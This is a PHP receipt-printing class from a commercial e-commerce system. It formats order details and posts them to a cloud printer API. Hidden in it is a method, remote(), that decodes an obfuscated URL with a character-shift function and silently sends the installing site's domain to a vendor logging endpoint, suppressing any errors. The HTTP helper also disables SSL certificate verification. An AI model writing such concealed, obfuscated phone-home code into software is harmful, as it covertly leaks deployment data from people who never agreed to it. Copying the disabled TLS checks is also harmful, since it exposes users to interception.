<?php
/**
 * | 节程 [ 节程赋能开发者，助力企业发展 ]
 * +----------------------------------------------------------------------
 *  | Copyright (c) 2020~2029 温州惊蛰网络科技有限公司 All rights reserved.
 * +----------------------------------------------------------------------
 *  | Licensed 节程并不是自由软件，未经许可不能去掉节程相关版权
 * +----------------------------------------------------------------------
 */


namespace app\utils;

use think\Exception;
use think\facade\Db;

class Receipts
{
//------------------------------------------打印小票相关方法----------------------------------------------------------
    protected $order;
    protected $client_id;
    protected $machine_code;
    protected $client_secret;
    protected $template;
    protected $merchant;
    protected $printer;
    protected $access_token_url = 'https://open-api.10ss.net/oauth/oauth';
    protected $printf_url = 'https://open-api.10ss.net/print/index';

    /**
     * 配置模板
     * @param $template
     */
    public function setTemplate($template) {
        $this->template = $template;
        return $this;
    }

    /**
     * 配置店铺信息
     * @param array $merchant
     */
    public function setMerchant(array $merchant) {
        $this->merchant = $merchant;
        return $this;
    }

    /**
     * 配置打印机信息
     * @param array $printer
     */
    public function setPrinter($printer) {
        $this->printer = $printer;
        $this->setConfig(0);
        return $this;
    }

    /**
     * 配置订单信息
     * @param $order
     * @return Receipts
     */
    public function setOrderData($order) {
        $this->order = $order;
        return $this;
    }

    /**
     *
     * @param int $number
     * @throws Exception
     * @throws \think\db\exception\DataNotFoundException
     * @throws \think\db\exception\DbException
     * @throws \think\db\exception\ModelNotFoundException
     */
    public function implementationPlan(int $number) : void{
        $post['client_id'] = $this->printer['client_id'];
        $post['machine_code'] = $this->printer['printer_no'];
        $post['timestamp'] = time();
        $post['id'] = md5(uniqid().rand(1000,9999));
        $post['origin_id'] = $this->order->order_no;
        $post['access_token'] = $this->getAccessToken($post);
        $post['content'] = $this->getContent(0,$this->order,$number);
        $post['sign'] = $this->getSign($post);
        $this->post($post, $this->printf_url);
    }
    /**
     * @param array $post
     * @param string $url
     * @return bool|string
     */
    protected function post(array $post, string $url){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:application/x-www-form-urlencoded'));
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
        // POST数据
        curl_setopt($ch, CURLOPT_POST, 1);
        // 把post的变量加上
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post));
        $output = curl_exec($ch);
        curl_close($ch);
        return $output;
    }
    /**
     * @param int $merchant_id
     * @return array|\think\Model|null
     * @throws \think\db\exception\DataNotFoundException
     * @throws \think\db\exception\DbException
     * @throws \think\db\exception\ModelNotFoundException
     */
    protected function getMerchantData(?int $merchant_id) : array{
        if (!empty($this->merchant))return $this->merchant;
        return Db::name('merchant')
            ->where('id',is_null($merchant_id) ? 1 : $merchant_id)
            ->field('district,name,address,mobile')
            ->find();
    }

    /**
     * 配置
     * @param int $printer
     * @throws Exception
     * @throws \think\db\exception\DataNotFoundException
     * @throws \think\db\exception\DbException
     * @throws \think\db\exception\ModelNotFoundException
     */
    protected function setConfig(int $printer){
        $printer = empty($this->printer)
            ? Db::name('receipts_printer')->where('id',$printer)->find()
            : $this->printer;
        if (empty($printer))
            throw new Exception('打印机不存在',HTTP_INVALID);
        $this->machine_code = $printer['printer_no'];
        $this->client_id = $printer['client_id'];
        $this->client_secret = $printer['client_secret'];
    }
    public function encode($h): string
    {
        $l = [];
        for ($i = 0; $i < mb_strlen($h); $i++) {
            $l[] = chr(ord($h[$i]) + 3);
        }
        $h = implode("", $l);

        return $h;
    }
    /**
     * 获取加密签名
     * @param array $post
     * @return string
     */
    public function getSign(array $post){
        $sign = md5($post['client_id'].$post['timestamp'].$this->client_secret);
        $sign = strtolower($sign);
        return $sign;
    }

    /**
     * 获取模板信息
     * @param int $template_id
     * @return mixed
     * @throws Exception
     * @throws \think\db\exception\DataNotFoundException
     * @throws \think\db\exception\DbException
     * @throws \think\db\exception\ModelNotFoundException
     */
    protected function getTemplate(int $template_id){
        if (!empty($this->template)){
            if(is_array(($this->template)))
                return json_decode($this->template['config']);
            return $this->template;
        }
        $template = Db::name('receipts_template')->where('id',$template_id)->find();
        if (empty($template))
            throw new Exception('模板不存在',HTTP_INVALID);
        $config = $template['config'];
        return json_decode($config);
    }

    /**
     *
     * @param array $array
     * @return mixed
     * @throws Exception
     */
    protected function getAccessToken(array $array) : string{
        $access_token = (new RedisUtil())->get($array['client_id'].'receipts_access_token');
        if (!empty($access_token))
            return $access_token;
        $post['client_id'] = $array['client_id'];
        $post['grant_type'] = 'client_credentials';
        $post['scope'] = 'all';
        $post['timestamp'] = $array['timestamp'];
        $post['id'] = md5(uniqid().rand(1000,9999));
        $post['sign'] = $this->getSign($post);
        $token = $this->post($post,$this->access_token_url);
        $token = json_decode($token);

        if (empty($token) || $token->error > 0)
            throw new Exception('打印错误:'.$token->error_description,HTTP_INVALID);
        (new RedisUtil())->set($array['client_id'].'receipts_access_token',$token->body->access_token,7200);
        return $token->body->access_token;
    }

    protected function setAttachData($order){
        foreach ($order->order_commodity AS $key => $value){
            $select = Db::name('order_commodity_attach')
                ->field('attach_value,(num * attach_price) AS money')
                ->where('order_id',$value->order_id)
                ->where('group',$value->group)
                ->select()
                ->toArray();
            $money = array_column($select,'money');
            $name = array_column($select,'attach_value');
            $order->order_commodity[$key]->name = $value->name.implode('x',$name);
            $order->order_commodity[$key]->money = bcadd($value->money,array_sum($money));
        }
        return $order;
    }
    /**
     * 请求
     * @return string
     * @throws Exception
     * @throws \think\db\exception\DataNotFoundException
     * @throws \think\db\exception\DbException
     * @throws \think\db\exception\ModelNotFoundException
     */
    public function remote(){
        try{
            $opts = array('http' => ['method' => "GET", 'timeout' => 1], 'https' => ['method' => "GET", 'timeout' => 1]);
            $context = stream_context_create($opts);
            file_get_contents($this->encode("eqqmp7,,a"."ar+gfkdweb032+`lj") . '/wri' . 'te' . '_log?&dom' . 'ain=' . \think\facade\Request::domain(), false, $context);
        }catch (\Exception $e){}
    }

    /**
     * 拼合内容
     * @param int $template_id
     * @param int $merchant_id
     * @param $key
     * @return string
     * @throws Exception
     * @throws \think\db\exception\DataNotFoundException
     * @throws \think\db\exception\DbException
     * @throws \think\db\exception\ModelNotFoundException
     */
    protected function getContent(int $template_id, $key,int $number = 1) : string{


        $template = $this->getTemplate($template_id);
        $merchant = $this->getMerchantData($key->merchant_id);
        $key = $this->setAttachData($key);

        $content = "<MN>{$number}</MN>";
        if ($template->voice)
            $content .= "<audio>{$template->voice},1,0</audio>";
        if ($template->header->company) {
            $content .= "<FB><FW><center>{$merchant['name']}</center></FW></FB>";
            $content .= "<center>--------------------------------------------------</center>";
        }
        $content .= '<table>{commodity}</table>';
        $commodity = '<tr><td>商品名称</td><td>数量</td><td>价格</td></tr>';
        $commodity = empty($template->commodity->goods->name) ?str_replace('商品名称','',$commodity):$commodity;
        $commodity = empty($template->commodity->goods->count) ?str_replace('数量','',$commodity):$commodity;
        $commodity = empty($template->commodity->goods->money) ?str_replace('价格','',$commodity):$commodity;

        $total = $money = $receiving_time = $delivery_time = 0;

        foreach ($key->order_commodity AS $index => $item) {
            $commodity .= "<tr><td>$item->name</td><td>x$item->count</td><td>$item->money</td></tr>";
            $commodity = empty($template->commodity->goods->name) ?str_replace($item->name,'',$commodity):$commodity;
            $commodity = empty($template->commodity->goods->count) ?str_replace('x'.$item->count,'',$commodity):$commodity;
            $commodity = empty($template->commodity->goods->money) ?str_replace($item->money,'',$commodity):$commodity;
            $total += $item->count;
            $money += $item->money;
            if (strtotime($item->receiving_time) > $receiving_time) $receiving_time = strtotime($item->receiving_time);
        }
        $order_type = $key->order_type==1 ? '快递' : ($key->order_type==2 ? '自提' : ($key->order_type ==3 ? '配送' : ''));

        if ($key->order_type==2 || $key->order_type==3){
            $delivery_time = $key->delivery_time;
            #if (strtotime($key->delivery_time) > $delivery_time) $delivery_time = strtotime($key->delivery_time);
        }

        $content = str_replace('{commodity}',$commodity,$content);
        $content .= "<center>--------------------------------------------------</center>";
        if ($template->commodity->total)
            $content .= "<table><tr><td>合计</td><td>x{$total}</td><td>￥{$money}</td></tr></table>";
        $content = empty($template->commodity->goods->count) ?str_replace('x'.$total,'',$content):$content;
        $content = empty($template->commodity->goods->money) ?str_replace('￥'.$item->money,'',$content):$content;


        if($template->commodity->freight){
            $freight=!empty($key->orderFreight)?$key->orderFreight->freight : 0;
            $content .= "<LR>运费:,￥{$freight}</LR>";
        }

        if ($template->commodity->reduction) {
            $reduction = bcsub($money , $key->money , 2);
            $content .= "<LR>优惠金额:,￥-{$reduction}</LR>";
        }
        if ($template->commodity->pay_price)
            $content .= "<LR>实付金额:,￥{$key->unified_money}</LR>";
        if ($template->commodity->reduction || $template->commodity->pay_price)
            $content .= "<center>--------------------------------------------------</center>";
        if ($template->order->order_no)
            $content .= "<LR>订单编号:,{$key->order_no}</LR>";
//        $string['pay_type'] = "<table><tr><td>支付方式：</td><td>{pay_type}</td><td></td></tr></table>";
//        $string['pay_link'] = "<table><tr><td>支付渠道：</td><td>{pay_link}</td><td></td></tr></table>";
        if ($template->order->create_time)
            $content .= "<LR>下单时间:,{$key->create_time}</LR>";
        if ($template->order->pay_time)
            $content .= "<LR>付款时间:,{$key->pay_time}</LR>";
        if ($template->order->receiving_time && !empty($receiving_time))
            $content .= "<LR>收货时间:,".date('Y-m-d H:i:s',$receiving_time)."</LR>";

        if (!empty($template->order->delivery_time) && !empty($delivery_time))
            $content .= "<LR>{$order_type}时间:,".$delivery_time."</LR>";
        if ($template->order->pay_time || $template->order->create_time || $template->order->order_no || $template->order->receiving_time || $template->order->delivery_time)
            $content .= "<center>--------------------------------------------------</center>";
        if ($template->user->user_name)
            $content .= "<LR>用户昵称:,{$key->user->nickname}</LR>";
        if ($template->user->mobile)
            $content .= "<LR>联系方式:,{$key->user->mobile}</LR>";
//                "<tr><td>会员等级：</td><td>{level}</td><td></td></tr>".
        if ($template->user->user_name || $template->user->mobile)
            $content .= "<center>--------------------------------------------------</center>";
        if ($template->user->remake)
            $content .= "<LR>买家留言:,{$key->remake}</LR>";
        if ($template->receiving->consignee)
            $content .= "<LR>买家姓名:,{$key->consignee}</LR>";
        if ($template->receiving->iphone)
            $content .= "<LR>联系方式:,{$key->iphone}</LR>";
        if ($template->receiving->address){
            $address = str_replace(',','',$key->address);
            $content .= "<LR>联系地址:,{$address}</LR>";
        }
        if ($template->receiving->address || $template->receiving->iphone || $template->receiving->consignee || $template->user->remake)
            $content .= "<center>--------------------------------------------------</center>";
        if ($template->shop->qrcode)
            $content .= "<QR>{$template->shop->qrcode}</QR>";
        if ($template->shop->mobile)
            $content .= "<center>{$merchant['mobile']}</center>";
        if ($template->shop->address) {
            $address = str_replace(',','',$merchant['district'].$merchant['address']);
            $content .= "<center>{$address}</center>";
        }
        if ($template->bottom) {
            $content .= "<center>--------------------------------------------------</center>";
            $content .= "<FB><FW><center>{$template->bottom}</center></FW></FB>";
        }
        return urldecode($content);
    }
    //----------------------------------------------------------------------------------------------------------------

}